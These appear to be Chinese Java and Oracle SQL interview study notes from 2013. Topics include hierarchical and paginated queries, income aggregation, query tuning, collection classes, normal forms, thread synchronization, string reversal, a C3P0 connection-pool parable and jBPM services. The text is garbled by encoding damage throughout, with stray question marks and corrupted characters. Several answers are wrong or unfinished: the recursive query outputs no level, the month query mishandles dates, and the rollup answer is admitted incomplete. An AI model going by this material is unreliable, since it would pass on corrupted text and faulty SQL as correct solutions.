dept_id VARCHAR2(38), ?
dept_name VARCHAR2(100), ?
parent_id VARCHAR(38), ?
PRIMARY KEY (dept_id) ?
); ?
??
INSERT INTO sec_dept values('1','部門A',null); ?
INSERT INTO sec_dept values('2','部門B',null); ?
INSERT INTO sec_dept values('3','部門C','1'); ?
INSERT INTO sec_dept values('4','部門D','2'); ?
INSERT INTO sec_dept values('5','部門E','3'); ?
INSERT INTO sec_dept values('6','部門F','4'); ?
??
SELECT * FROM sec_dept; ?
??
??
如果該部門為頂級部門則parent_id為null。現(xiàn)要求: ?
用一條sql從頂級部門開始遞歸查出所有部門,并展示各個(gè)部門的級別。Sql可以寫plsql或tsql。 ?
結(jié)果格式如: ?
部門名稱 ? 級別 ?
部門A ? ? ?1 ?
部門B ? ? ?2 ?
部門C ? ? ?2 ?
部門D ? ? ?3 ?
部門E ? ? ?3 ?
部門F ? ? ?3 ?
??
??
select dept_name,parent_id from sec_dept ??
start with dept_id in (select dept_id from sec_dept where parent_id is null) ??
connect by prior dept_id=parent_id; ?
??
假設(shè)目前需要對所有部門表進(jìn)行分頁查詢(不用考慮問題1的部門級別),每頁數(shù)據(jù)顯示10條記錄,目前要查第3頁的部門數(shù)據(jù),請寫出查詢sql(假設(shè)部門不止30個(gè)) ?
??
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM sec_dept) A ??
WHERE ROWNUM <= 30 ?
) ?
WHERE RN >= 21; ?
??
問題25、數(shù)據(jù)庫編程題? ?
現(xiàn)有工資表income字段如下: ?
Income_time Date ? ?person ?Dept_id Dept_name ? income ??
收入日期 ? ?人員 ?部門id ? ?部門名稱 ? ?收入 ?
??
建表語句: ?
DROP TABLE income; ?
CREATE TABLE income( ?
income_time Date, ?
person VARCHAR2(50), ?
Dept_id VARCHAR(20), ?
Dept_name VARCHAR(20), ?
income number ?
); ?
??
INSERT INTO income values(sysdate,'A號','1','A部門',1000); ?
INSERT INTO income values(add_months(sysdate,-1),'A號','1','A部門',2000); ?
INSERT INTO income values(add_months(sysdate,1),'A號','1','A部門',3000); ?
INSERT INTO income values(sysdate,'B號','2','B部門',700); ?
INSERT INTO income values(add_months(sysdate,-1),'B號','2','B部門',500); ?
INSERT INTO income values(add_months(sysdate,1),'B號','2','B部門',600); ?
INSERT INTO income values(sysdate,'C號','3','C部門',4000); ?
INSERT INTO income values(add_months(sysdate,-1),'C號','3','C部門',3500); ?
INSERT INTO income values(add_months(sysdate,1),'C號','3','C部門',4500); ?
??
??
要求用一個(gè)SQL語句(注意是一個(gè))的處所有人(不區(qū)分人員)每個(gè)月及上月和下月的總收入 ?
要求列表輸出為: ?
年份 ?月份 ?當(dāng)月收入 ? ?上月收入 ? ?下月收入 ?
?
??
select ??
(SELECT to_char(sysdate,'yyyy') from dual) as "年份", ?
(SELECT to_char(sysdate,'mm') from dual) as "月份", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')) as "當(dāng)月收入", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')-1) as "上月收入", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')+1) as "下月收入" ??
from dual; ? ? ?
??
查出各個(gè)月份的各部門所有人總收入,要求生成合計(jì)行 ?
生成結(jié)果如: ?
2013年 6月 開發(fā)1部 A君 3000 ?
2013年 6月 開發(fā)1部 B君 3000 ?
2013年 6月 開發(fā)1部 C君 3000 ?
2013年 6月 開發(fā)1部 合計(jì) 9000 ?
2013年 6月 開發(fā)2部 D君 3000 ?
2013年 6月 開發(fā)2部 E君 3000 ?
2013年 6月 開發(fā)2部 合計(jì)6000 ?
??
注意: 統(tǒng)計(jì)了各月份各部門所有人的總收入,但未實(shí)現(xiàn)生成合并行 ?
SELECT to_char(income_time,'yyyy-mm'),dept_name,person,sum(income) ??
FROM income ??
GROUP BY to_char(income_time,'yyyy-mm'),dept_name,person ??
ORDER BY to_char(income_time,'yyyy-mm'); ?
??
問題26、數(shù)據(jù)庫編程題 ?
??
當(dāng)前有兩個(gè)數(shù)據(jù)量很大的寬表A和B ?
A結(jié)構(gòu): ?
Pk_id varchar2(38) ?Filed1 varchar2(200) ? ?Filed2 varchar2(200) ? ?…. ?
主鍵 ?字段1 字段2 其余字段 ?
B結(jié)構(gòu): ?
Pk_id varchar2(38) ?Fk_id varchar2(38) ?Filed1 varchar2(200) ? ?Filed2. varchar2(200) ? …. ?Create_time ??
主鍵 ?關(guān)聯(lián)A的外鍵 ?字段1 字段2 其余字段 ? ?生成時(shí)間 ?
??
其中表B的數(shù)據(jù)每日生成一次,且新增數(shù)量級達(dá)到百萬級。 ?
表A為維表數(shù)據(jù)基本不變。表A和B除主、外鍵沒有任何鍵或其它優(yōu)化措施。 ?
目前需每月通過以下sql統(tǒng)計(jì)出符合條件的B表的Feild1和Field2明細(xì)信息 ?
Select * from B ??
where Months_between(create_time, sysdate) = 0 ??
and fk_id in (select pk_id from A where A.field1 = ‘condition’) ?
若只考慮對上述sql查詢性能的優(yōu)化,可以采取哪些優(yōu)化措施?(優(yōu)化措施可有多種,請盡量列舉) ?
??
1、通配符*號修改為Field1和Field2 ?
2、為A表的Field1建立索引 ?
3、in修改為exists ?
??
2013年9月5日: ?
??
問題1、說說ArrayList,Vector, LinkedList的存儲性能和特性? ?
??
ArrayList和Vector都是使用數(shù)組方式存儲數(shù)據(jù),此數(shù)組元素?cái)?shù)大于實(shí)際存儲的數(shù)據(jù)以便增加和插入元素,它們都允許直接按序號索引元素,但是插入元素要涉及數(shù)組元素移動等內(nèi)存操作,所以索引數(shù)據(jù)快而插入數(shù)據(jù)慢,Vector由于使用了synchronized方法(線程安全),通常性能上較ArrayList差,而LinkedList使用雙向鏈表實(shí)現(xiàn)存儲,按序號索引數(shù)據(jù)需要進(jìn)行前向或后向遍歷,但是插入數(shù)據(jù)時(shí)只需要記錄本項(xiàng)的前后項(xiàng)即可,所以插入速度較快。 ?
LinkedList也是線程不安全的,LinkedList提供了一些方法,使得LinkedList可以被當(dāng)作堆棧和隊(duì)列來使用。 ?
??
問題2、short s1 = 1; s1 = s1 + 1;有什么錯? short s1 = 1; s1 += 1;有什么錯? ?
??
short s1 = 1; s1 = s1 + 1; (s1+1運(yùn)算結(jié)果是int型,需要強(qiáng)制轉(zhuǎn)換類型) ?
short s1 = 1; s1 += 1;(可以正確編譯) ?
??
當(dāng)使用+=、-=、*=、/=、%=、運(yùn)算符對基本類型進(jìn)行運(yùn)算時(shí),遵循如下規(guī)則: ?
運(yùn)算符右邊的數(shù)值將首先被強(qiáng)制轉(zhuǎn)換成與運(yùn)算符左邊數(shù)值相同的類型,然后再執(zhí)行運(yùn)算,且運(yùn)算結(jié)果與運(yùn)算符左邊數(shù)值類型相同。 ?
??
在s1=s1+1;中,s1+1運(yùn)算的結(jié)果是int型,把它賦值給一個(gè)short型變量s1,所以會報(bào)錯 ?
??
而在s1+=1;中,由于s1是short類型的,所以1首先被強(qiáng)制轉(zhuǎn)換為short型,然后再參與運(yùn)算,并且結(jié)果也是short類型的,因此不會報(bào)錯 ?
??
那么,s1=1+1;為什么不報(bào)錯呢? ?
這是因?yàn)?+1是個(gè)編譯時(shí)可以確定的常量,“+”運(yùn)算在編譯時(shí)就被執(zhí)行了,而不是在程序執(zhí)行的時(shí)候,這個(gè)語句的效果等同于s1=2,所以不會報(bào)錯。 ?
??
前面講過了,對基本類型執(zhí)行強(qiáng)制類型轉(zhuǎn)換可能得出錯誤的 ?
結(jié)果,因此在使用+=、-=、*=、/=、%=、等運(yùn)算符時(shí),要多加注意。 ?
??
問題3、說說你對數(shù)據(jù)庫設(shè)計(jì)里的三范式的理解? ?
??
第一范式(1NF)無重復(fù)的列 ?
??
所謂第一范式(1NF)是指數(shù)據(jù)庫表的每一列都是不可分割的基本數(shù)據(jù)項(xiàng),同一列中不能同時(shí)有多個(gè)值,即實(shí)體中的某個(gè)屬性不能有多個(gè)值或者不能有重復(fù)的屬性。 ?
如果出現(xiàn)重復(fù)的屬性,就可能需要定義一個(gè)新的實(shí)體,新的實(shí)體由重復(fù)的屬性構(gòu)成,新實(shí)體與原實(shí)體之間為一對多關(guān)系。在第一范式(1NF)中表的每一行只包含一個(gè)實(shí)例的信息。簡而言之,第一范式就是無重復(fù)的列。 ?
?
在任何一個(gè)關(guān)系數(shù)據(jù)庫中,第一范式(1NF)是對關(guān)系模式的基本要求,不滿足第一范式(1NF)的數(shù)據(jù)庫就不是關(guān)系數(shù)據(jù)庫。 ?
在當(dāng)前的任何關(guān)系數(shù)據(jù)庫管理系統(tǒng)(DBMS)中,不可能做出不符合第一范式的數(shù)據(jù)庫,因?yàn)檫@些DBMS不允許你把數(shù)據(jù)庫表的一列再分成二列或多列。因此,你想在現(xiàn)有的DBMS中設(shè)計(jì)出不符合第一范式的數(shù)據(jù)庫都是不可能的。 ?
舉例: ?
一張學(xué)生表Student(stuNo,stuName,age,age,sex)是不符合第一范式的,因?yàn)橛兄貜?fù)列age屬性。 ?
去除重復(fù)列age以后的Student(stuNo,stuName,age,sex)是符合第一范式的。 ?
??
第二范式(2NF)屬性完全依賴于主鍵 [ 消除部分子函數(shù)依賴 ] ?
??
第二范式(2NF)是在第一范式(1NF)的基礎(chǔ)上建立起來的,即滿足第二范式(2NF)必須先滿足第一范式(1NF)。 ?
第二范式(2NF)要求數(shù)據(jù)庫表中的每個(gè)實(shí)例或行必須可以被唯一地區(qū)分。為實(shí)現(xiàn)區(qū)分通常需要為表加上一個(gè)列,以存儲各個(gè)實(shí)例的唯一標(biāo)識。 ?
例如員工信息表中加上了員工編號(emp_id)列,因?yàn)槊總€(gè)員工的員工編號是唯一的,因此每個(gè)員工可以被唯一區(qū)分。這個(gè)唯一屬性列被稱為主關(guān)鍵字或主鍵、主碼。 ?
? ?
第二范式(2NF)要求實(shí)體的屬性完全依賴于主關(guān)鍵字。 ?
所謂完全依賴是指不能存在僅依賴主關(guān)鍵字一部分的屬性,如果存在,那么這個(gè)屬性和主關(guān)鍵字的這一部分應(yīng)該分離出來形成一個(gè)新的實(shí)體,新實(shí)體與原實(shí)體之間是一對多的關(guān)系。 ?
為實(shí)現(xiàn)區(qū)分通常需要為表加上一個(gè)列,以存儲各個(gè)實(shí)例的唯一標(biāo)識。簡而言之,第二范式就是屬性完全依賴于主鍵。 ?
這里說的主關(guān)鍵字可能不只有一個(gè),有些情況下是存在聯(lián)合主鍵的,就是主鍵有多個(gè)屬性。 ?
??
舉例: ?
以學(xué)生選課為例,每個(gè)學(xué)生都可以選課,并且有這一門課程的成績,那么如果將這些信息都放在一張表StuGrade(stuNo,stuName,age,sex,courseNo,courseName,credit,score)。 ?
?
如果不仔細(xì)看,我們會以為這張表的主鍵是stuNo,但是當(dāng)我們看到最后一個(gè)score屬性以后,在想想如果沒有課程信息,那么哪里有學(xué)生成績信息呢。所以這張表的主鍵是一個(gè)聯(lián)合主鍵(stuNo,corseNo),這個(gè)聯(lián)合屬性能夠唯一確定score屬性。 ?
那么再看其他信息,比如stuName只需要stuNo就能夠唯一確定,courseName只需要courseNo就能夠唯一確定,因此這樣就存在了部分依賴,不符合第二范式。 ?
如果要讓學(xué)生課程成績信息滿足第二范式,那么久需要將這張表拆分成多張表,一張學(xué)生表Studnet(stuNo,stuName,age,sex),一張課程表Course(courseNo,courseName,credit),還有最后一張學(xué)生課程成績表StuGrade(stuNo,courseNo,score)。如下: ?
?
這樣就符合第二范式了。 ?
??
第三范式(3NF)屬性不依賴于其它非主屬性 [ 消除傳遞依賴 ] ?
??
滿足第三范式(3NF)必須先滿足第二范式(2NF)。 ?
簡而言之,第三范式(3NF)要求一個(gè)數(shù)據(jù)庫表中不包含已在其它表中已包含的非主關(guān)鍵字信息。 ?
??
舉例: ?
? ?
每一個(gè)員工都有一個(gè)所屬部門,假如有一個(gè)員工信息表 ?
Employee(emp_id,emp_name,emp_age,dept_id,dept_name,dept_info) ?
?
這張員工信息表的主鍵是emp_id,因?yàn)檫@個(gè)屬性能夠唯一確定其他所有屬性,比如知道員工編號emp_id以后,肯定能夠知道員工姓名,所屬部門編號,部門名稱和部門介紹。 ?
所以這里dept_id不是主屬性,而是非主屬性。 ?
?
但是,我們又可以發(fā)現(xiàn)dept_name,dept_info這兩個(gè)屬性也可以由dept_id這個(gè)非主屬性決定,即dept_name依賴dept_id,而dept_id依賴emp_id,這樣就存在了傳遞依賴。而且我們可以看出傳遞依賴的一個(gè)明顯缺點(diǎn)就是數(shù)據(jù)冗余非常嚴(yán)重。 ?
?
那么如何解決傳遞依賴問題? ?
其實(shí)非常簡單,我們只需要將dept_name,dept_info這連個(gè)屬性刪除就可以了。 ?
即修改為Employee(emp_id,emp_name,emp_age,dept_id) ?
然后再創(chuàng)建一個(gè)部門表Dept(dept_id,dept_name,dept_info) ?
?
這樣如果要搜索某一個(gè)員工的部門信息dept_info,可以通過數(shù)據(jù)庫連接來實(shí)現(xiàn),查詢語句如下: ?
SELECT e.emp_id,e.emp_name,d.dept_name ??
FROM Employee e,Dept d ??
WHERE e.dept_id=d.dept_id; ?
?
注意: ?
數(shù)據(jù)庫連接會帶來一部分的性能損失 ?
并不是數(shù)據(jù)庫范式越高效率越高 ?
有時(shí)會在數(shù)據(jù)冗余與范式之間做出權(quán)衡,在實(shí)際的數(shù)據(jù)庫開發(fā)過程中,往往會允許一部分的數(shù)據(jù)冗余來減少數(shù)據(jù)庫連接 ?
??
問題4、數(shù)據(jù)庫范式越高越好嗎? ?
?
使用范式的主要目的是為了減少數(shù)據(jù)冗余、消除插入異常、更新異常、刪除異常。 ?
另外從程序設(shè)計(jì)的角度范式把數(shù)據(jù)模式做到了高內(nèi)聚低耦合讓數(shù)據(jù)組織的更加和諧。 ?
在數(shù)據(jù)庫設(shè)計(jì)中應(yīng)盡量滿足最高范式,但是應(yīng)用的范式等級越高,查詢時(shí)需要連接的表就越多,這樣會增加了查詢的復(fù)雜度,降低了數(shù)據(jù)庫查詢性能處理速度緩慢和處理邏輯復(fù)雜 ?
為了提高數(shù)據(jù)庫的運(yùn)行效率,常常需要降低范式標(biāo)準(zhǔn):適當(dāng)增加冗余,達(dá)到以空間換時(shí)間的目的。 ?
??
??
問題5、設(shè)計(jì)4個(gè)線程,中兩個(gè)線程每次對j增加1,另外兩個(gè)線程對j每次減少1,請寫出代碼? ?
??
// 采用 Runnable 接口方式創(chuàng)建的多條線程可以共享實(shí)例屬性 ?
? ? private int data; ?
??
? ? /* ?
? ? ?* 這里add方法和sub方法加synchronized關(guān)鍵字 ?
? ? ?* 是因?yàn)楫?dāng)兩個(gè)線程同時(shí)操作同一個(gè)變量時(shí) ?
? ? ?* 就算是簡單的j++操作時(shí),在系統(tǒng)底層也是通過多條機(jī)器語句來實(shí)現(xiàn) ?
? ? ?* 所以在執(zhí)行j++過程也是要耗費(fèi)時(shí)間, ?
? ? ?* 這時(shí)就有可能在執(zhí)行j++的時(shí)候,另外一個(gè)線程H就會對j進(jìn)行操作 ?
? ? ?* 因此另外一個(gè)線程H可能操作的可能就 不是最新的值了,因此要提供線程同步 ?
? ? ?*/ ?
? ? ??
? ? // 同步增加方法 ??
? ? private synchronized void add() { ?
? ? ? ? data++; ?
? ? ? ? System.out.println(Thread.currentThread().getName() + ":" + data); ?
? ? } ?
??
? ? // 同步減少方法 ??
? ? private synchronized void sub() { ?
? ? ? ? data--; ?
? ? ? ? System.out.println(Thread.currentThread().getName() + ":" + data); ?
? ? } ?
??
? ? // 增加線程 ?
? ? class Add implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? add(); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
? ? ??
? ? // 減少線程 ?
? ? class Sub implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? sub(); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? public static void main(String[] args) throws Exception { ?
? ? ? ? Test t = new Test(); ?
? ? ? ? ??
? ? ? ? //內(nèi)部類的實(shí)例化 ?
? ? ? ? Add add = t.new Add(); ?
? ? ? ? Sub sub = t.new Sub(); ?
??
? ? ? ? //創(chuàng)建線程,每次創(chuàng)建2個(gè)線程,此處為2*n個(gè)線程,n=2 ?
? ? ? ? for (int i = 0; i < 2; i++) { ?
? ? ? ? ? ? Thread t1 = new Thread(add); ?
? ? ? ? ? ? t1.start(); ?
? ? ? ? ? ? Thread t2 = new Thread(sub); ?
? ? ? ? ? ? t2.start(); ?
? ? ? ? } ?
? ? } ?
??
問題6、寫一個(gè)方法,實(shí)現(xiàn)字符串的反轉(zhuǎn),如:輸入abc,輸出cba? ?
??
方法1: ?
String data="abc"; ?
? ? ? ? char[] ch = data.toCharArray(); ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(); ?
? ? ? ? ??
? ? ? ? for (int i = ch.length-1; i >=0; i--) { ?
? ? ? ? ? ? sb.append(ch[i]); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(sb); ?
??
方法2: ?
String data="abc"; ?
? ? ? ? int length = data.length(); ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(length); ?
? ? ? ? ??
? ? ? ? for (int i = length-1; i >= 0; i--) { ?
? ? ? ? ? ? sb.append(data.charAt(i)); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(sb); ?
??
方法3: ?
String data="abc"; ?
? ? ? ? int length = data.length(); ?
? ? ? ? ??
? ? ? ? String str=""; ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < length; i++) { ?
? ? ? ? ? ? str=data.substring(i,i+1)+str; ?
? ? ? ? ? ? ??
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
方法4: ?
String data="abc"; ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(data); ?
? ? ? ? ??
? ? ? ? String str = sb.reverse().toString(); ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
方法5:遞歸 ?
public static void main(String[] args) { ?
? ? ? ? String data="abc"; ?
? ? ? ? ??
? ? ? ? String reverse = Test.reverse(data); ?
? ? ? ? ??
? ? ? ? System.out.println(reverse); ?
? ? } ?
? ? ??
? ? public static String reverse(String data){ ?
? ? ? ? if(data.length()==1){ ?
? ? ? ? ? ? return data; ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? String str = data.substring(data.length()-1, data.length()); ?
? ? ? ? ??
? ? ? ? str+=reverse(data.substring(0,data.length()-1)); ?
? ? ? ? ??
? ? ? ? return str; ?
? ? } ?
??
問題7、對于池技術(shù)的理解?-->以C3P0連接池為例 ?
??
----------------------------故事敘述開始 ?
講個(gè)故事,你就懂了。 ?
??
你出生在古代,并且開了個(gè)餐館。但你比較笨,一開始炒菜時(shí),每炒一道菜都要 生火,炒菜,滅火, 炒第二道菜又要 生火,炒菜,滅火,第三道菜如此....。 ?
開了幾天飯館后,你覺得做菜很慢,跟不上客戶的速度,老被罵,冤枉啊!然后你就分析了,劈材生火最浪費(fèi)時(shí)間,你一拍大腿:“我怎么就沒想到呢? 靠,我炒菜后不滅火不就快了嗎?” ?
掌握了“不滅火大法”真理的你,炒菜速度越發(fā)加快,贏得了新老食客的一致好評。美麗女顧客:“上菜真快呀,親!”。 ?
由于生意太好,好評率100%,顧客大大增加了,你的炒菜速度又跟不上了,你想啊想啊,怎么樣才能增加效率呢? 突然,正看著鍋里“鹵煮寒鴉兒”菜,冰雪聰慧的你突然一拍大腿,這些煮菜、燉菜太費(fèi)時(shí),而出鍋速度快的炒菜要在后面排隊(duì)。我應(yīng)該同時(shí)使用2個(gè)鍋(與爐子)不斷火來做菜,不,3個(gè)鍋! ?
鍋臺的增加使你做菜效率翻了幾倍,食客和他們的小伙伴都驚呆了!然后,顧客自然更多了,面對熙熙攘攘等待上菜的食客,你的嘴角又露出一絲令人不易察覺的奸笑:“繼續(xù)增加鍋臺!”。 ?
可惜這村子小,鍋呢?很貴,你買不起,都是從炊具店租來的。隨著你同時(shí)啟用的鍋越來越多,終于,炊具店沒貨了。這時(shí),你已經(jīng)整整使用了20個(gè)鍋,有好幾個(gè)伙計(jì)在同時(shí)做菜。 ?
你仰天長嘯,“看來老夫最大只能使用同時(shí)20個(gè)鍋了,吉尼斯紀(jì)錄破不了了!已經(jīng)到了我的maxPoolSize了!” ?
maxPoolSize:連接池中保留的最大連接數(shù)。默認(rèn)為15 ?
伙計(jì):“老板,你說什么鳥語?我怎么聽不懂啊?”你:“要不怎么我當(dāng),老板你當(dāng)伙計(jì)呢?”伙計(jì)暗忖:“你妹的!” ----------------------------由于打字?jǐn)⑹鎏闊?#xff0c;以下全部使用對話來闡述劇情 ?
由于啟用了20個(gè)鍋臺,生意大好,到了晚上,伙計(jì)問道:“老板,明天我們上午開張時(shí),一開始同時(shí)燒幾個(gè)鍋?zhàn)友?#xff1f;”你想了想:“5個(gè)把,燒少了客人多了來不及。”伙計(jì):“得令!”你:“恩,就把initialPoolSize設(shè)成5就行了?”伙計(jì):“..............”伙計(jì):“奧,那一開始開5個(gè)鍋,之后呢?客人多了我們增加鍋是一個(gè)一個(gè)加嗎?”你:“笨死了,記好了,當(dāng)鍋不夠用了的時(shí)候,一次加acquireIncrement個(gè)!”伙計(jì):“....你說啥?”你:“額,3個(gè),把a(bǔ)cquireIncrement設(shè)為3.”伙計(jì):“恩,3個(gè),記住了,其他的聽不懂。” ?
initialPoolSize:初始化時(shí)創(chuàng)建的連接數(shù),應(yīng)在minPoolSize與maxPoolSize之間取值。默認(rèn)為3 ?
acquireIncrement:當(dāng)連接池中的連接用完時(shí),C3P0一次性創(chuàng)建新連接的數(shù)目一天后伙計(jì):“哦,老板,一開始開5個(gè)鍋,后來每次連開3個(gè)鍋,連續(xù)生火太嗆人,大家都受不了了,我們應(yīng)該在每個(gè)鍋點(diǎn)火之間休息一小下。”你:“有理,就休息acquireRetryDelay毫秒把,額,10秒,懂了嗎?”伙計(jì):“懂了,太好了,每次給我們10秒鐘來休息,您真是我們的好老板啊!” ?
acquireRetryDelay:兩次連接中間隔時(shí)間,單位毫秒,默認(rèn)為1000一天后伙計(jì):“對了,老板,今天小張伙計(jì)一天都在偷懶。”你:“怎么回事?”伙計(jì):“小張今天拿到了一個(gè)壞鍋,怎么也點(diǎn)不著火,然后他就一直點(diǎn),一直點(diǎn),一天都沒干活,哼!我都累死啦!”你:“這個(gè)小張,真是個(gè)滑頭,好吧。我們從明天立一個(gè)規(guī)矩,鍋點(diǎn)不著火后,只允許重試acquireRetryAttempts次,就設(shè)置為10次把,如果超過10次,就要像我提出異常,我去聯(lián)系炊具店來修理,你們就無法偷懶了,哇卡卡卡卡卡!” ?
acquireRetryAttempts:定義在從數(shù)據(jù)庫獲取新連接失敗后重復(fù)嘗試獲取的次數(shù),默認(rèn)為30一天后伙計(jì):“老板,我們?nèi)耸植粔蛄?#xff0c;20個(gè)鍋,差不多需要7個(gè)人才能耍的過來,人少時(shí)候,利用不了全部的20個(gè)鍋。”你:“好辦,把numHelperThreads設(shè)為7,你們每個(gè)人就是一根線程,記住嘍!”伙計(jì):“我們是什么?”你:“線程!”伙計(jì):“........”伙計(jì):“哦,我去干活了。”你:“你早就該去干活去了,哼!” ?
numHelperThreads:C3P0是異步操作的,緩慢的JDBC操作通過幫助進(jìn)程完成。擴(kuò)展這些操作可以有效的提升性能,通過多線程實(shí)現(xiàn)多個(gè)操作同時(shí)被執(zhí)行。默認(rèn)為3 ?
一天后伙計(jì):“老板,不好了,小張伙計(jì)又偷懶了!”你:“我操,他又怎么了?”伙計(jì):“由于20個(gè)鍋已滿,他拿不到第21個(gè)鍋,就在那里等著,也不去切菜、刷碗,太偷懶了,我都要累死了!”你:“懂了,把checkoutTimeout設(shè)為100000,只要他等待超過100秒,就要像我報(bào)異常,我來為他重新分配任務(wù)!”伙計(jì):“太好啦!!” ?
checkoutTimeout:當(dāng)連接池用完時(shí)客戶端調(diào)用getConnection()后等待獲取新連接的時(shí)間,超時(shí)后將拋出SQLException,如設(shè)為0則無限期等待。單位毫秒,默認(rèn)為0一個(gè)月之后你:“伙計(jì)們,我們開店終于有1個(gè)月了,大家來算一下我們盈利的多少錢,大家分分紅,我這個(gè)人還是很開明的嘛,哈哈哈哈!”伙計(jì):“報(bào)告老板,本店本月凈虧 2000 兩紋銀!”你:“怎么回事?我來看一下賬目!”你:“為什么木柴花錢這么多!!!!!”伙計(jì):“因?yàn)槊刻扉_始時(shí)候是5個(gè)鍋,然后客人多了,每次開3個(gè)鍋,最后20個(gè)鍋全開。然后吃飯高峰過去后客人少了,我們的20個(gè)鍋都還燒著,其實(shí)很多時(shí)候并沒有菜需要炒。”你:“你們?yōu)槭裁床魂P(guān)鍋?????”伙計(jì):“我們炒菜好了,不知道下面有沒有客人來,無法確定剛用完的鍋需不需要滅。”你:“這樣吧,憑你們的智商也解決不了了,從明天開始,你們炒菜的時(shí)候也要長點(diǎn)心,每idleConnectionTestPeriod秒鐘,也就是,額,100秒吧,每100秒檢查一下全部的20個(gè)鍋,如果發(fā)現(xiàn)了某個(gè)鍋已經(jīng)空閑了maxIdleTime秒鐘沒有炒菜,就把他關(guān)了,額設(shè)為60秒吧! ?
idleConnectionTestPeriod:隔多少秒檢查所有連接池中的空閑連接,默認(rèn)為0表示不檢查 ?
maxIdleTime:最大空閑時(shí)間,超過空閑時(shí)間的連接將被丟棄。為0或負(fù)數(shù)則永不丟棄。默認(rèn)為0 ?
伙計(jì):“老板英明,不過,如果一段時(shí)間沒人吃飯,所有鍋都關(guān)了,再來客人的時(shí)候,生火來不及啊,我們是不是應(yīng)該保留最少幾個(gè)鍋一直不關(guān)呀?”你:“我靠,跟我說一席話勝,勝讀你十年書啊,你小子是智商見長啊!這樣吧,最后留3個(gè)鍋的火就行了,這就是minPoolSize。” ??
minPoolSize:連接池中保留的最小連接數(shù)你:“恩,說了那么多,你看看怎么樣更好的使用鍋呀?”伙計(jì):“我們可以對鍋進(jìn)行檢查測試,然后再使用。”你:“有理,何時(shí)檢查?”伙計(jì):“把testConnectionOnCheckin設(shè)成true就可以在每次新開一個(gè)鍋的時(shí)候檢查了,如果把testConnectionOnCheckout設(shè)成true就可以在每次炒菜的時(shí)候檢查了。” ?
?
testConnectionOnCheckin:如果設(shè)為true那么在取得連接的同時(shí)將校驗(yàn)連接的有效性。默認(rèn)為false ?
?
testConnectionOnCheckout:因性能消耗大請只在需要的時(shí)候使用它。如果設(shè)為true那么在每個(gè)connection提交的時(shí)候都將校驗(yàn)其有效性。建議使用idleConnectionTestPeriod或automaticTestTable等方法來提升連接測試的性能。默認(rèn)為 false你:“我擦,原來你會英語啊!”伙計(jì):“我,我,我,我說了什么了?我什么都不知道啊!”你:“小張、小王、小李,速來把這個(gè)伙計(jì)拖到后面,亂棍打死,他知道的太多了。”小張、小王、小李:“嘿嘿,我們等了好久了!”“啊啊啊啊”就在這個(gè)時(shí)候,你被經(jīng)理一巴掌拍醒。經(jīng)理:“別睡啦!天亮啦,起來干活啦!昨夜讓你通宵加班,你卻在電腦前睡覺,這樣吧,今晚你再通個(gè)宵!”你:“............” ?
----------------------------故事敘述結(jié)束 ?
??
2013年9月9日: ?
??
問題1、如何取小數(shù)點(diǎn)前兩位,并四舍五入,再進(jìn)行顯示百分比? ?
??
小數(shù)點(diǎn)前兩位方法1: ?
BigDecimal bd = new BigDecimal(0.4567); ?
??
? ? ? ? // 保留兩位小數(shù)且向上進(jìn)位的四舍五入,四舍五入后要重新賦值,不僅只setScale ?
? ? ? ? BigDecimal bds = bd.setScale(2, BigDecimal.ROUND_HALF_UP); ?
??
? ? ? ? System.out.println(bds); ?
??
小數(shù)點(diǎn)前兩位方法2: ?
DecimalFormat df = new DecimalFormat("#,##0.00"); ?
? ? ? ? ? ? ??
? ? ? ? df.setRoundingMode(RoundingMode.HALF_UP); ?
??
? ? ? ? String str = df.format(1234.4547); ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
百分比顯示: ?
DecimalFormat df=new DecimalFormat("0.00%"); ?
? ? ? ? df.setRoundingMode(RoundingMode.HALF_UP); ?
? ? ? ? ??
? ? ? ? String str = df.format(0.4567); ?
? ? ? ? ??
? ? ? ? System.out.println(str);
??
ProcessEngine工作流的流程引擎對象 ?
1、RepositoryService ? ?流程資源服務(wù)的接口。 ??
? ?作用: ? ?提供對流程定義的部署、查詢、刪除等操作。 ??
2、ExecutionService ? ? 流程執(zhí)行服務(wù)的接口。 ??
? ?作用: ? ?提供啟動流程實(shí)例、“執(zhí)行”推進(jìn),設(shè)置流程實(shí)例變量等操作。 ??
3、ManagementService ? 流程管理控制服務(wù)接口。 ??
? ?作用: ? ?提供異步工作相關(guān)的執(zhí)行和查詢操作。 ??
4、TaskService ? ? ? ? ?人工任務(wù)服務(wù)接口。 ??
? ?作用: ? ?提供對任務(wù)(Task)的創(chuàng)建、提交、查詢、保存、刪除等操作。 ??
5、HistoryService ? ? ? 流程歷史服務(wù)的接口。 ??
? ?作用: ? ?提供對任務(wù)的管理操作,提供對流程歷史庫中歷史流程實(shí)例、歷史活動實(shí)例等記錄的查詢操作。還提供諸如某個(gè)流程定義中所有活動的平均持續(xù)時(shí)間、某個(gè)流程定義中某轉(zhuǎn)移的結(jié)果次數(shù)等數(shù)據(jù)分析服務(wù)。 ??
6、IdentityService ? ? ?身份認(rèn)證服務(wù)的接口。 ??
? ?作用: ? ?提供對流程用戶、用戶組以及組成員關(guān)系的相關(guān)服務(wù)。 ??
??
問題2:Hibernate的核心接口有哪些? ?
?
